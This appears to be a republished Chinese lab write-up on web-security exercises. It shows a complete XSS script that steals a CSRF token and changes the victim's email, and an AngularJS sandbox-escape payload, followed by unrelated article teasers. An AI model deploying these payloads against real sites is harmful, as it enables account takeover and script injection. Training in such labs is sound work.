渗透实战:绕过沙箱机制的反射型XSS

Lab 24:利用 xss 绕过 csrf 防御

依然是留言板的问题可以执行<h1>标签

进入修改邮箱的界面,修改抓包

这里构造修改邮箱的代码

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];var changeReq = new XMLHttpRequest();changeReq.open('post', '/my-account/change-email', true);changeReq.send('csrf='+token+'&email=hack@you.com')
};
</script>
<!-- XMLHttpRequest:用于向服务器发送 HTTP 请求,获取或提交数据。
req.open('get', '/my-account', true)发送 GET 请求到 /my-account 页面,获取用户的账户信息(包含 CSRF 令牌)
handleResponse 函数解析服务器返回的 HTML 内容,通过正则表达式 name="csrf" value="(\w+)" 提取 CSRF 令牌
使用窃取的 CSRF 令牌,构造 POST 请求到 /my-account/change-email,将用户邮箱修改为 hack@you.com
-->

Lab 25:无需字符串即可逃逸 AngularJS 沙盒的反射型 XSS

当我们输入 1 时,看到我们输入的内容被放入$scope.query[key]中,因为key='search',这里就是通过访问键值对的方式获取键的值。类似下面的代码

lab 中这段 js 关键部分在于$parse的使用,$parse是 angularJS 中用来将字符串解析为可执行函数,通过$parse(key)($scope.query)search的值传给value,通过{{value}}显示到页面<h1>标签中。

如何能控制key,从而让$parse执行我们输入的 key,可以尝试用&继续添加参数测试

可以看到我们输入的第二组key:value对出现了,我们可以控制key

angularJS 中,{{}}表达式可以用来求值,如{{ 1+1 }}可以得到 2,这里我们可以输入2+2=3+需要 url 编码为%2B

经过测试,发现我们输入的key被计算了,页面显示了 key 的计算结果,尝试输入 alert()不能弹窗,因为这里存在沙箱机制,不允许运行此函数,这里需要绕过沙箱机制执行 alert

访问 xss check-sheetCross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy可以看到关于 angularJS 绕过沙箱的好多方法

本 lab 给出的解决方法?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

这里通过toString().constructor.prototype.charAt=[].join将原型污染,导致 charAt 返回整个字符串而非单个字符

fromCharCode(120,61,97,108,101,114,116,40,49,41)解码后得到字符串:x=alert(1)

toString().constructor指向Function构造函数。

因此这部分等价于:Function("x=alert(1)")(),即创建并执行一个包含x=alert(1)的函数。

由于 charAt 被覆盖,isIdent() 在检查多字符输入(如 x=alert(1))时,实际比较的是整个字符串与单个字符的规则。根据逻辑,任何字符串(如 x=alert(1))都会被误判为合法标识符,导致 isIdent() 始终返回 true

isIdent = function(ch) {return ('a' <= ch && ch <= 'z' ||  // 小写字母'A' <= ch && ch <= 'Z' ||  // 大写字母'_' === ch || ch === '$');  // 下划线或美元符号
}

利用 orderBy 过滤器执行恶意表达式 x=alert(1)

[1] | orderBy:'x=alert(1)'

为方便理解请看下面示例代码

<head><script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
</head>
<div ng-app="myApp" ng-controller="myCtrl"><p ng-repeat="item in items | orderBy:'price'">${{ item.price }}</p>
</div>
<!-- | 前面的是传入的数据,orderBy后面是排序的依据,漏洞点就是这里传入了angularJS表达式函数被执行 -->
<script>var app = angular.module('myApp', []);app.controller('myCtrl', function($scope) {$scope.items = [{ price: 2.5 },{ price: 1.5 },{ price: 3.0 }];});
</script>

运行结果

生成字符串 "x=alert(1)",避免直接使用引号,通过 toString().constructor 访问 String 构造函数,绕过对 String.fromCharCode 的直接调用限制。

toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/910024.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/910024.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

K8S篇之利用deployment实现滚动平滑升级

一、更新策略 在 Kubernetes (K8s) 中,滚动平滑升级(Rolling Update)是一种无缝更新部署的方式,允许你在不中断服务的情况下逐步更新应用程序。这是 Kubernetes 默认的 Deployment 更新策略,它会按照指定的步幅逐步替换 Pods,确保在新版本的应用程序没有完全替换旧版本的…

【Dify 案例】【MCP实战】【一】【前置配置】

MCP(Model Context Protocol,模型上下文协议) ,2024年11月底,由Anthropic 推出的一种开放标准。旨在为大语言模型(LLM)提供统一的、标准化方式与外部数据源和工具之间进行通信。 MCP 作为一种标准化协议,极大地简化了大语言模型与外部世界的交互方式,使开发者能够以统…

2025高考志愿填报张雪峰资料合集

2025高考志愿填报课程&#xff0c;张雪峰专业指导&#xff01;包含61节课&#xff0c;93个专业详解&#xff0c;总计1500分钟视频。 独家各省资料包&#xff01;新旧高考政策全覆盖&#xff0c;适合高三家长和考生。内容整理自互联网&#xff0c;无偿分享&#xff0c;如有侵权&…

Nginx+Tomcat负载均衡群集

一.案例:部署Tomcat 1.案例分析 1.1案例概述 京北点指科技有限公司发布V3版移联建站管理系统&#xff0c;该项目为Java 语言开发的Web 站点。目前&#xff0c;IBM 的 WebSphere 及 0racle 的 WebLogic 占据了市面上 Java 语言 Web 站点的大部分份额。这两种软件以其无与伦比…

华为云Flexus+DeepSeek征文|基于华为云一键部署dify平台构建合同审核助手应用实践

目录 前言 1 华为云一键部署Dify平台 1.1 华为云Dify平台介绍 1.2 部署过程介绍 1.3 登录Dify平台 2 接入华为云 ModelArts Studio 的 DeepSeek 大模型 2.1 获取调用模型服务信息 2.2 在 Dify 中配置模型 3 构建合同审核助手应用 3.1 简要介绍合同审核助手 3.2 开始…

三种经典算法无人机三维路径规划对比(SMA、HHO、GWO三种算法),Matlab代码实现

代码功能 该MATLAB代码用于对比三种元启发式优化算法&#xff08;SMA、HHO、GWO三种算法&#xff0c; SMA黏菌算法、HHO哈里斯鹰优化算法、GWO灰狼优化算法&#xff09; 在特定优化问题上的性能&#xff0c;运行环境MATLABR2020b或更高 &#xff1a; 初始化问题模型&#xff…

设计模式精讲 Day 8:组合模式(Composite Pattern)

【设计模式精讲 Day 8】组合模式&#xff08;Composite Pattern&#xff09; 开篇 在“设计模式精讲”系列的第8天&#xff0c;我们将深入讲解组合模式&#xff08;Composite Pattern&#xff09;。组合模式是一种结构型设计模式&#xff0c;它允许将对象组合成树形结构以表示…

【Dify学习笔记】:RagFlow接入Dify基础教程

RagFlow接入Dify基础教程 如果RagFlow还没部署&#xff0c;可参考我另一篇本地部署文章&#xff1a;【Dify学习笔记】&#xff1a;本地部署RagFlow适配Dify 一、RagFlow 1. 配置模型 点击&#xff1a;头像 > Model providers 添加模型供应商、设置默认模型Set default …

Apache ECharts-02.入门案例

一.入门案例 官网下载&#xff1a;下载 - Apache ECharts&#xff0c;下载echarts.js文件&#xff0c;下载好后在其同一个文件夹下创建html文件即可。 <!DOCTYPE html> <html><head><meta charset"utf-8" /><title>ECharts</title…

社群经济视阈下开源AI智能名片链动2+1模式与S2B2C商城小程序在私域电商中的融合应用研究

摘要&#xff1a;在数字经济与社交网络深度融合的背景下&#xff0c;付费社群凭借精准用户筛选、高价值成员聚合及强信任关系链等优势&#xff0c;成为私域电商发展的核心载体。本文基于社群经济理论&#xff0c;结合“开源AI智能名片链动21模式S2B2C商城小程序”的技术与商业逻…

【Tools】Mac brew工具

Homebrew&#xff08;简称 brew&#xff09;是 macOS&#xff08;也支持 Linux&#xff09;上的一款 包管理工具&#xff0c;它的作用类似于&#xff1a; Ubuntu 下的 aptCentOS 下的 yumArch Linux 下的 pacman 一句话概括&#xff1a; brew 是用来在 macOS 上安装、管理软件…

IEEE RAL 双臂机器人三连抓估计物体状态 无需特制夹爪或视觉相机 - 大阪大学万伟伟老师团队

IEEE RA-L | 万伟伟老师团队提出双臂机器人规划控制方法有效降低被抓物姿态不确定性 日本大阪大学万伟伟老师团队针对双臂机器人开发了一种重复抓取规划和阻抗控制的方法&#xff0c;该方法通过两个机械臂依次寻找抓取位置和物体姿态&#xff0c;并通过三个正交抓取动作&#x…

AtomicInteger 和 volatile Integer对比

AtomicInteger 和 volatile Integer 虽然都与线程安全有关&#xff0c;但本质完全不同。它们的主要区别体现在原子性保证和功能上&#xff1a; &#x1f50d; 核心区别对比表 特性volatile IntegerAtomicInteger原子性❌ 不保证复合操作原子性✅ 保证所有操作的原子性自增操作…

一生一芯 PA2 RTFSC

从src/isa/riscv32/inst.c出发。 向上搜索&#xff0c;理解宏定义的含义。 R(i) #define R(i) gpr(i) R(i)&#xff1a;访问第i号通用寄存器 会被替换为&#xff1a; #define gpr(idx) (cpu.gpr[check_reg_idx(idx)]) 分为两个部分&#xff1a; cpu.gprcheck_reg_idx c…

深度学习——手写数字识别

深度学习——手写数字识别 学习深度学习的朋友应该对MNIST数据集不陌生吧&#xff0c;相信很多人在刚开始学习深度学习的时候都会用到MNIST数据集进行书写数字识别。本篇文章参考鱼书创建一个深度网络来进行书写数字识别的任务。 如上图所示&#xff0c;这里使用的卷积层全都是…

HashMap算法高级应用实战:频率类子数组问题的5种破解模式

本文将深入剖析5种基于HashMap的高级模式&#xff0c;通过原理详解、多语言实现、性能对比和工业级应用&#xff0c;助您彻底掌握频率类子数组问题。 1. 深入解析&#xff1a;频率类子数组问题 1.1 问题定义与分类 频率类子数组问题是指需要统计或查找满足特定元素频率条件的…

【精选】计算机毕业设计HTML5智能宠物寻找与领养系统 跨平台宠物匹配 地图定位找宠 领养申请审核系统源码+论文+PPT+讲解

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

拼多多商家端 anti_content 补环境分析

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 部分python代码 import execjs impor…

电脑、手机长时间不关机可以吗

电脑和手机常年处于开机状态&#xff0c;只有在没电或者系统提示更新的时候才会关机。那问题来了&#xff0c;电脑、手机长时间不关机到底可不可以呢&#xff1f;今天咱们就来好好唠唠。 手机长时间不关机的情况 先来说说手机。现在的智能手机功能越来越强大&#xff0c;我们…

「AI大数据」| 《华为:面向智能制造的工业大模型标准化研究报告》

今天给大家介绍 《华为:面向智能制造的工业大模型标准化研究报告》&#xff0c;这是一份由中国电子技术标准化研究院联合华为等多家企业编写的权威报告&#xff0c;聚焦工业大模型在智能制造领域的标准化发展。报告详细分析了工业大模型的技术架构、应用场景、标准化现状与挑战…